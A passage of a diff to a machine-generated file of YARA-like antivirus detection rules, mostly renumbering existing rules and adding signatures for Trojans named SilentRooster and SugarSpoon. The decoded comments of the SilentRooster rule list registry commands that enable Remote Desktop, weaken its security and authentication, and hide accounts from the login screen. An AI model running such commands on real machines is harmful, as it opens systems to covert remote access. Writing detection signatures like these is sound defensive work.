1)*115+(#a_00_9 & 1)*55+(#a_00_11 & 1)*104+(#a_00_12 & 1)*89) >=13 } -rule _InfrastructureShared_20350{ +rule _InfrastructureShared_21572{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 69 6c 65 6e 74 52 6f 6f 73 74 65 72 2e 41 21 64 68 61 00 06 00 4c 01 28 65 6c 69 61 73 6e 65 6c 69 61 73 65 65 6c 69 61 73 77 2d 65 6c 69 61 73 4f 62 65 6c 69 61 73 6a 65 65 6c 69 61 73 } //16675 + $a_6e_1 = {65 6c 69 61 73 74 2e 77 65 6c 69 61 73 65 62 65 6c 69 61 73 43 6c 65 6c 69 61 73 69 65 6e 74 29 } //29795 eliast.weliasebeliasCleliasient) + $a_01_2 = {73 00 75 00 66 00 5f 00 6c 00 61 00 75 00 6e 00 63 00 68 00 2e 00 65 00 78 00 65 00 } //5 suf_launch.exe + $a_01_3 = {72 65 67 20 61 64 64 20 22 48 4b 4c 4d 5c 53 4f 46 54 57 41 52 45 5c 50 6f 6c 69 63 69 65 73 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 54 65 72 6d 69 6e 61 6c 20 53 65 72 76 69 63 65 73 22 20 2f 76 20 66 44 65 6e 79 54 53 43 6f 6e 6e 65 63 74 69 6f 6e 73 20 2f 74 20 52 45 47 5f 44 57 4f 52 44 20 2f 64 20 30 20 2f 66 } //1 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections /t REG_DWORD /d 0 /f + $a_01_4 = {72 65 67 20 61 64 64 20 22 48 4b 4c 4d 5c 53 4f 46 54 57 41 52 45 5c 50 6f 6c 69 63 69 65 73 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 54 65 72 6d 69 6e 61 6c 20 53 65 72 76 69 63 65 73 5c 43 6c 69 65 6e 74 22 20 2f 76 20 66 43 6c 69 65 6e 74 44 69 73 61 62 6c 65 55 44 50 20 2f 74 20 52 45 47 5f 44 57 4f 52 44 20 2f 64 20 31 20 2f 66 } //1 reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Client" /v fClientDisableUDP /t REG_DWORD /d 1 /f + $a_01_5 = {72 65 67 20 61 64 64 20 22 48 4b 4c 4d 5c 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 5c 57 69 6e 6c 6f 67 6f 6e 5c 53 70 65 63 69 61 6c 41 63 63 6f 75 6e 74 73 5c 55 73 65 72 4c 69 73 74 22 20 2f 76 } //1 reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v + $a_01_6 = {72 65 67 20 61 64 64 20 22 48 4b 43 55 5c 53 4f 46 54 57 41 52 45 5c 4d 69 63 72 6f 73 6f 66 74 5c 54 65 72 6d 69 6e 61 6c 20 53 65 72 76 65 72 20 43 6c 69 65 6e 74 22 20 2f 76 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 4c 65 76 65 6c 4f 76 65 72 72 69 64 65 20 2f 74 20 52 45 47 5f 44 57 4f 52 44 20 2f 64 20 30 20 2f 66 } //1 reg add "HKCU\SOFTWARE\Microsoft\Terminal Server Client" /v AuthenticationLevelOverride /t REG_DWORD /d 0 /f + $a_01_7 = {72 65 67 20 61 64 64 20 22 48 4b 4c 4d 5c 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 54 65 72 6d 69 6e 61 6c 20 53 65 72 76 65 72 5c 57 69 6e 53 74 61 74 69 6f 6e 73 5c 52 44 50 2d 54 63 70 22 20 2f 76 20 53 65 63 75 72 69 74 79 4c 61 79 65 72 20 2f 74 20 52 45 47 5f 44 57 4f 52 44 20 2f 64 20 30 20 2f 66 } //1 reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f + condition: + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29795+(#a_01_2 & 1)*5+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=6 + +} +rule _InfrastructureShared_21573{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1b 00 1b 00 1b 00 21 " @@ -258818,7 +274145,7 @@ rule _InfrastructureShared_20350{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*29541+(#a_6f_2 & 1)*25970+(#a_6f_3 & 1)*25970+(#a_72_4 & 1)*29298+(#a_6f_5 & 1)*25970+(#a_2e_6 & 1)*29285+(#a_56_7 & 1)*28530+(#a_72_9 & 1)*25926+(#a_00_10 & 1)*46+(#a_00_12 & 1)*50+(#a_00_13 & 1)*101+(#a_00_14 & 1)*46+(#a_00_16 & 1)*40+(#a_00_18 & 1)*97+(#a_00_19 & 1)*59+(#a_00_20 & 1)*70+(#a_7a_21 & 1)*24922+(#a_00_22 & 1)*32+(#a_00_23 & 1)*70+(#a_ff_25 & 1)*0+(#a_00_26 & 1)*400) >=27 } -rule _InfrastructureShared_20351{ +rule _InfrastructureShared_21574{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -258829,7 +274156,7 @@ rule _InfrastructureShared_20351{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*46) >=4 } -rule _InfrastructureShared_20352{ +rule _InfrastructureShared_21575{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0c 00 21 " @@ -258850,7 +274177,7 @@ rule _InfrastructureShared_20352{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*400+(#a_01_2 & 1)*-29880+(#a_01_3 & 1)*-28668+(#a_48_4 & 1)*400+(#a_01_5 & 1)*1025+(#a_04_6 & 1)*-28533+(#a_d0_7 & 1)*257+(#a_00_8 & 1)*144+(#a_c1_9 & 1)*18435+(#a_01_10 & 1)*-29880+(#a_34_11 & 1)*12639) >=3 } -rule _InfrastructureShared_20353{ +rule _InfrastructureShared_21576{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -258864,7 +274191,7 @@ rule _InfrastructureShared_20353{ ((#a_46_0 & 1)*21283+(#a_5f_1 & 1)*13618+(#a_30_2 & 1)*12383+(#a_5f_3 & 1)*14431+(#a_31_4 & 1)*24368) >=5 } -rule _InfrastructureShared_20354{ +rule _InfrastructureShared_21577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 11 00 21 " @@ -258890,7 +274217,7 @@ rule _InfrastructureShared_20354{ ((#a_46_0 & 1)*16675+(#a_38_1 & 1)*28530+(#a_3a_2 & 1)*12848+(#a_41_3 & 1)*25967+(#a_61_4 & 1)*21084+(#a_01_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_6c_14 & 1)*0+(#a_03_15 & 1)*10+(#a_03_16 & 1)*10) >=2 } -rule _InfrastructureShared_20355{ +rule _InfrastructureShared_21578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 0c 00 21 " @@ -258910,7 +274237,7 @@ rule _InfrastructureShared_20355{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*300+(#a_2c_2 & 1)*2+(#a_00_3 & 1)*101+(#a_00_4 & 1)*116+(#a_69_5 & 1)*26994+(#a_2d_6 & 1)*2305+(#a_00_8 & 1)*105+(#a_01_9 & 1)*-28672+(#a_6f_10 & 1)*29555+(#a_6c_11 & 1)*30018) >=30 } -rule _InfrastructureShared_20356{ +rule _InfrastructureShared_21579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0f 00 21 " @@ -258933,7 +274260,7 @@ rule _InfrastructureShared_20356{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*8300+(#a_20_2 & 1)*20000+(#a_47_4 & 1)*29778+(#a_30_5 & 1)*11585+(#a_2c_6 & 1)*69+(#a_90_7 & 1)*29537+(#a_5a_8 & 1)*16762+(#a_90_9 & 1)*11568+(#a_41_10 & 1)*8448+(#a_6e_11 & 1)*19039+(#a_2d_12 & 1)*23085+(#a_61_13 & 1)*281+(#a_19_14 & 1)*1) >=12 } -rule _InfrastructureShared_20357{ +rule _InfrastructureShared_21580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0f 00 21 " @@ -258957,7 +274284,7 @@ rule _InfrastructureShared_20357{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*31277+(#a_2d_2 & 1)*2305+(#a_39_3 & 1)*12378+(#a_61_4 & 1)*29285+(#a_7a_5 & 1)*24841+(#a_01_6 & 1)*3+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_6f_14 & 1)*0) >=3 } -rule _InfrastructureShared_20358{ +rule _InfrastructureShared_21581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -258969,7 +274296,7 @@ rule _InfrastructureShared_20358{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*51+(#a_00_4 & 1)*55) >=4 } -rule _InfrastructureShared_20359{ +rule _InfrastructureShared_21582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 15 00 21 " @@ -258994,7 +274321,7 @@ rule _InfrastructureShared_20359{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*55+(#a_00_3 & 1)*52+(#a_00_5 & 1)*54+(#a_00_6 & 1)*90+(#a_00_7 & 1)*92+(#a_00_9 & 1)*101+(#a_00_11 & 1)*46+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_00_18 & 1)*0+(#a_3a_19 & 1)*19521+(#a_00_20 & 1)*110) >=12 } -rule _InfrastructureShared_20360{ +rule _InfrastructureShared_21583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -259011,7 +274338,7 @@ rule _InfrastructureShared_20360{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45+(#a_00_3 & 1)*32+(#a_61_4 & 1)*11585+(#a_00_5 & 1)*46+(#a_00_6 & 1)*101+(#a_2c_7 & 1)*101+(#a_00_9 & 1)*100) >=4 } -rule _InfrastructureShared_20361{ +rule _InfrastructureShared_21584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2d 00 2d 00 36 00 21 " @@ -259067,7 +274394,7 @@ rule _InfrastructureShared_20361{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*30575+(#a_77_3 & 1)*17409+(#a_69_4 & 1)*268+(#a_47_5 & 1)*1792+(#a_6f_6 & 1)*28233+(#a_72_7 & 1)*29793+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_77_23 & 1)*0+(#a_09_24 & 1)*31277+(#a_2d_25 & 1)*2305+(#a_73_26 & 1)*808+(#a_41_27 & 1)*11617+(#a_00_29 & 1)*99+(#a_00_30 & 1)*121+(#a_00_31 & 1)*97+(#a_63_32 & 1)*25902+(#a_5c_33 & 1)*26723+(#a_00_34 & 1)*97+(#a_00_35 & 1)*111+(#a_61_36 & 1)*268+(#a_77_37 & 1)*12079+(#a_61_38 & 1)*28001+(#a_64_39 & 1)*28265+(#a_76_40 & 1)*26984+(#a_00_42 & 1)*97+(#a_00_44 & 1)*114+(#a_00_45 & 1)*83+(#a_43_46 & 1)*12800+(#a_00_48 & 1)*114+(#a_00_50 & 1)*0+(#a_00_52 & 1)*115+(#a_00_53 & 1)*110) >=45 } -rule _InfrastructureShared_20362{ +rule _InfrastructureShared_21585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3f 00 3f 00 0d 00 21 " @@ -259088,7 +274415,7 @@ rule _InfrastructureShared_20362{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*109+(#a_7a_2 & 1)*24841+(#a_39_3 & 1)*12378+(#a_19_4 & 1)*1+(#a_52_5 & 1)*10240+(#a_90_6 & 1)*24884+(#a_00_7 & 1)*111+(#a_39_8 & 1)*12297+(#a_00_9 & 1)*92+(#a_00_11 & 1)*69+(#a_72_12 & 1)*12079) >=63 } -rule _InfrastructureShared_20363{ +rule _InfrastructureShared_21586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 1d 00 21 " @@ -259121,7 +274448,7 @@ rule _InfrastructureShared_20363{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25965+(#a_00_3 & 1)*46+(#a_3b_4 & 1)*28521+(#a_00_6 & 1)*83+(#a_71_7 & 1)*11888+(#a_65_8 & 1)*29285+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_79_13 & 1)*0+(#a_00_14 & 1)*105+(#a_00_16 & 1)*101+(#a_00_17 & 1)*111+(#a_00_18 & 1)*101+(#a_00_19 & 1)*32+(#a_00_21 & 1)*114+(#a_00_22 & 1)*110+(#a_21_23 & 1)*20526+(#a_32_24 & 1)*25971+(#a_63_25 & 1)*25191+(#a_32_26 & 1)*12395+(#a_00_28 & 1)*55) >=2 } -rule _InfrastructureShared_20364{ +rule _InfrastructureShared_21587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 10 00 21 " @@ -259142,7 +274469,7 @@ rule _InfrastructureShared_20364{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_00_3 & 1)*67+(#a_00_5 & 1)*99+(#a_00_7 & 1)*108+(#a_53_8 & 1)*7168+(#a_00_10 & 1)*116+(#a_00_11 & 1)*108+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1) >=8 } -rule _InfrastructureShared_20365{ +rule _InfrastructureShared_21588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 25 00 21 " @@ -259187,7 +274514,7 @@ rule _InfrastructureShared_20365{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*19036+(#a_2d_2 & 1)*24949+(#a_00_4 & 1)*52+(#a_00_5 & 1)*25976+(#a_65_6 & 1)*21505+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_7a_26 & 1)*0+(#a_43_27 & 1)*18756+(#a_4c_28 & 1)*18480+(#a_77_29 & 1)*27256+(#a_44_30 & 1)*22605+(#a_32_31 & 1)*25936+(#a_01_32 & 1)*25706+(#a_6e_33 & 1)*22891+(#a_42_34 & 1)*17991+(#a_01_35 & 1)*28530+(#a_03_36 & 1)*-28671) >=1 } -rule _InfrastructureShared_20366{ +rule _InfrastructureShared_21589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -259207,7 +274534,7 @@ rule _InfrastructureShared_20366{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*19802+(#a_31_2 & 1)*30575+(#a_41_3 & 1)*20590+(#a_73_4 & 1)*25966+(#a_59_5 & 1)*18242+(#a_42_6 & 1)*25672+(#a_6c_7 & 1)*22886+(#a_54_8 & 1)*28225+(#a_70_9 & 1)*22104+(#a_49_10 & 1)*22115) >=11 } -rule _InfrastructureShared_20367{ +rule _InfrastructureShared_21590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffff98 00 ffffff98 00 11 00 21 " @@ -259231,7 +274558,7 @@ rule _InfrastructureShared_20367{ ((#a_72_0 & 1)*22051+(#a_02_1 & 1)*257+(#a_66_2 & 1)*12288+(#a_02_3 & 1)*257+(#a_66_4 & 1)*12288+(#a_02_5 & 1)*257+(#a_66_6 & 1)*12288+(#a_02_7 & 1)*257+(#a_66_8 & 1)*12288+(#a_02_9 & 1)*257+(#a_00_11 & 1)*3+(#a_52_13 & 1)*21320+(#a_6e_14 & 1)*28719+(#a_73_15 & 1)*26465+(#a_49_16 & 1)*29541) >=152 } -rule _InfrastructureShared_20368{ +rule _InfrastructureShared_21591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 24 00 21 " @@ -259267,7 +274594,7 @@ rule _InfrastructureShared_20368{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*16+(#a_70_2 & 1)*25959+(#a_65_3 & 1)*24941+(#a_44_4 & 1)*12147+(#a_2f_5 & 1)*26989+(#a_67_7 & 1)*27746+(#a_90_8 & 1)*30821+(#a_65_9 & 1)*12146+(#a_68_10 & 1)*11877+(#a_65_12 & 1)*82+(#a_00_13 & 1)*72+(#a_00_15 & 1)*105+(#a_00_16 & 1)*108+(#a_65_17 & 1)*104+(#a_72_18 & 1)*29557+(#a_00_19 & 1)*100+(#a_00_20 & 1)*32+(#a_03_21 & 1)*30720+(#a_53_23 & 1)*22528+(#a_00_24 & 1)*100+(#a_00_25 & 1)*115+(#a_00_27 & 1)*114+(#a_00_29 & 1)*101+(#a_00_31 & 1)*103+(#a_00_33 & 1)*108+(#a_00_35 & 1)*109) >=1 } -rule _InfrastructureShared_20369{ +rule _InfrastructureShared_21592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0f 00 21 " @@ -259288,7 +274615,7 @@ rule _InfrastructureShared_20369{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*25924+(#a_00_2 & 1)*400+(#a_00_5 & 1)*115+(#a_00_6 & 1)*116+(#a_6d_7 & 1)*21608+(#a_69_8 & 1)*26740+(#a_73_9 & 1)*27999+(#a_01_10 & 1)*-28571+(#a_65_11 & 1)*15360+(#a_00_12 & 1)*100+(#a_00_14 & 1)*109) >=2 } -rule _InfrastructureShared_20370{ +rule _InfrastructureShared_21593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -259302,7 +274629,7 @@ rule _InfrastructureShared_20370{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_00_2 & 1)*111+(#a_00_3 & 1)*117+(#a_00_5 & 1)*101) >=3 } -rule _InfrastructureShared_20371{ +rule _InfrastructureShared_21594{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 05 00 22 00 21 " @@ -259345,7 +274672,7 @@ rule _InfrastructureShared_20371{ ((#a_6d_0 & 1)*21027+(#a_72_1 & 1)*27905+(#a_30_2 & 1)*30002+(#a_73_3 & 1)*8250+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1+(#a_80_11 & 1)*1+(#a_80_12 & 1)*1+(#a_80_13 & 1)*1+(#a_80_14 & 1)*1+(#a_80_15 & 1)*1+(#a_80_16 & 1)*1+(#a_80_17 & 1)*1+(#a_80_18 & 1)*1+(#a_80_19 & 1)*1+(#a_80_20 & 1)*1+(#a_80_21 & 1)*1+(#a_80_22 & 1)*1+(#a_80_23 & 1)*2+(#a_80_24 & 1)*2+(#a_80_25 & 1)*2+(#a_80_26 & 1)*1+(#a_80_27 & 1)*1+(#a_80_28 & 1)*1+(#a_83_29 & 1)*0+(#a_37_30 & 1)*13618+(#a_34_31 & 1)*13874+(#a_34_32 & 1)*12338+(#a_35_33 & 1)*14179) >=5 } -rule _InfrastructureShared_20372{ +rule _InfrastructureShared_21595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 06 00 21 " @@ -259360,7 +274687,7 @@ rule _InfrastructureShared_20372{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*12597+(#a_30_2 & 1)*12854+(#a_32_3 & 1)*12390+(#a_64_4 & 1)*25653+(#a_30_5 & 1)*14642) >=1 } -rule _InfrastructureShared_20373{ +rule _InfrastructureShared_21596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -259378,7 +274705,7 @@ rule _InfrastructureShared_20373{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*111+(#a_2d_4 & 1)*2305+(#a_53_5 & 1)*14336+(#a_00_7 & 1)*32+(#a_90_8 & 1)*11568+(#a_3a_9 & 1)*-256+(#a_2d_10 & 1)*2305+(#a_00_11 & 1)*118) >=4 } -rule _InfrastructureShared_20374{ +rule _InfrastructureShared_21597{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 17 00 21 " @@ -259403,7 +274730,7 @@ rule _InfrastructureShared_20374{ ((#a_54_0 & 1)*18467+(#a_c6_1 & 1)*2165+(#a_90_2 & 1)*257+(#a_c1_3 & 1)*257+(#a_02_4 & 1)*-28672+(#a_a2_6 & 1)*-16335+(#a_04_7 & 1)*-31806+(#a_90_9 & 1)*-21946+(#a_ac_11 & 1)*5120+(#a_83_12 & 1)*-30271+(#a_74_14 & 1)*26625+(#a_00_16 & 1)*109+(#a_02_18 & 1)*95+(#a_00_19 & 1)*115+(#a_74_20 & 1)*26626+(#a_6e_21 & 1)*28004) >=2 } -rule _InfrastructureShared_20375{ +rule _InfrastructureShared_21598{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 0a 00 21 " @@ -259420,7 +274747,7 @@ rule _InfrastructureShared_20375{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*24943+(#a_38_2 & 1)*12854+(#a_00_4 & 1)*109+(#a_02_6 & 1)*95+(#a_00_7 & 1)*115+(#a_74_8 & 1)*26626+(#a_6e_9 & 1)*28004) >=5 } -rule _InfrastructureShared_20376{ +rule _InfrastructureShared_21599{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0e 00 21 " @@ -259441,7 +274768,7 @@ rule _InfrastructureShared_20376{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_47_3 & 1)*2048+(#a_5a_4 & 1)*21587+(#a_00_6 & 1)*101+(#a_30_7 & 1)*300+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1) >=3 } -rule _InfrastructureShared_20377{ +rule _InfrastructureShared_21600{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -259456,7 +274783,7 @@ rule _InfrastructureShared_20377{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*66+(#a_00_4 & 1)*55+(#a_00_5 & 1)*69+(#a_00_6 & 1)*66+(#a_00_8 & 1)*66) >=1 } -rule _InfrastructureShared_20378{ +rule _InfrastructureShared_21601{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 1b 00 21 " @@ -259488,7 +274815,7 @@ rule _InfrastructureShared_20378{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*30821+(#a_2d_3 & 1)*400+(#a_00_4 & 1)*144+(#a_6d_5 & 1)*9219+(#a_00_6 & 1)*100+(#a_00_7 & 1)*144+(#a_00_9 & 1)*97+(#a_00_10 & 1)*2562+(#a_00_12 & 1)*35+(#a_00_14 & 1)*105+(#a_67_15 & 1)*29796+(#a_6e_16 & 1)*16698+(#a_33_17 & 1)*-32732+(#a_35_18 & 1)*13620+(#a_61_19 & 1)*12388+(#a_37_20 & 1)*25445+(#a_66_21 & 1)*26210+(#a_63_22 & 1)*13665+(#a_34_23 & 1)*25701+(#a_2d_24 & 1)*13880+(#a_00_25 & 1)*25957+(#a_31_26 & 1)*384) >=18 } -rule _InfrastructureShared_20379{ +rule _InfrastructureShared_21602{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 15 00 21 " @@ -259517,7 +274844,7 @@ rule _InfrastructureShared_20379{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*14433+(#a_30_2 & 1)*13876+(#a_61_4 & 1)*25857+(#a_66_5 & 1)*13625+(#a_32_6 & 1)*12801+(#a_38_7 & 1)*11620+(#a_33_8 & 1)*14136+(#a_32_9 & 1)*11618+(#a_30_10 & 1)*26211+(#a_01_11 & 1)*9216+(#a_2d_12 & 1)*25908+(#a_65_13 & 1)*16687+(#a_74_14 & 1)*21550+(#a_75_15 & 1)*29541+(#a_6b_16 & 1)*25924+(#a_2e_17 & 1)*30060+(#a_6e_18 & 1)*11844+(#a_70_19 & 1)*29803+(#a_70_20 & 1)*25701) >=1 } -rule _InfrastructureShared_20380{ +rule _InfrastructureShared_21603{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -259541,7 +274868,7 @@ rule _InfrastructureShared_20380{ ((#a_54_0 & 1)*18467+(#a_2e_1 & 1)*28532+(#a_74_2 & 1)*29541+(#a_72_3 & 1)*28531+(#a_6f_4 & 1)*27507+(#a_41_5 & 1)*24387+(#a_6f_6 & 1)*27507+(#a_67_7 & 1)*28718+(#a_6f_8 & 1)*27507+(#a_00_10 & 1)*46+(#a_00_12 & 1)*105+(#a_00_13 & 1)*46+(#a_00_15 & 1)*101+(#a_00_16 & 1)*101+(#a_00_17 & 1)*48) >=19 } -rule _InfrastructureShared_20381{ +rule _InfrastructureShared_21604{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -259553,7 +274880,7 @@ rule _InfrastructureShared_20381{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*109+(#a_00_3 & 1)*70) >=3 } -rule _InfrastructureShared_20382{ +rule _InfrastructureShared_21605{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0e 00 21 " @@ -259573,7 +274900,7 @@ rule _InfrastructureShared_20382{ ((#a_70_0 & 1)*16675+(#a_00_1 & 1)*105+(#a_00_4 & 1)*0+(#a_67_5 & 1)*21069+(#a_53_6 & 1)*20297+(#a_6e_7 & 1)*28013+(#a_64_8 & 1)*30575+(#a_6f_9 & 1)*100+(#a_00_11 & 1)*121+(#a_5f_12 & 1)*18770+(#a_00_13 & 1)*52) >=2 } -rule _InfrastructureShared_20383{ +rule _InfrastructureShared_21606{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0e 00 21 " @@ -259594,7 +274921,46 @@ rule _InfrastructureShared_20383{ ((#a_46_0 & 1)*16675+(#a_2d_2 & 1)*2305+(#a_30_3 & 1)*11585+(#a_3a_4 & 1)*20553+(#a_09_5 & 1)*6544+(#a_2d_6 & 1)*31277+(#a_00_7 & 1)*103+(#a_90_8 & 1)*11568+(#a_20_10 & 1)*28003+(#a_63_11 & 1)*14336+(#a_65_12 & 1)*8291+(#a_20_13 & 1)*9534) >=2 } -rule _InfrastructureShared_20384{ +rule _InfrastructureShared_21607{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 20 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 75 67 61 72 53 70 6f 6f 6e 2e 41 21 64 68 61 00 01 00 13 80 01 43 4f 45 52 43 45 5f 53 50 4f 52 54 5f 52 55 4c 45 5f 41 01 00 0c 80 01 45 4e 43 41 50 5f 52 55 4c 45 5f 41 01 00 1c 80 01 } //16675 + $a_45_1 = {45 52 56 45 52 5f 49 50 76 34 5f 41 43 4c 5f 47 52 4f 55 50 5f 49 4e 01 00 15 80 01 57 49 52 45 53 45 52 56 45 52 5f 49 50 76 34 5f 41 4c 4c 4f 57 01 00 13 80 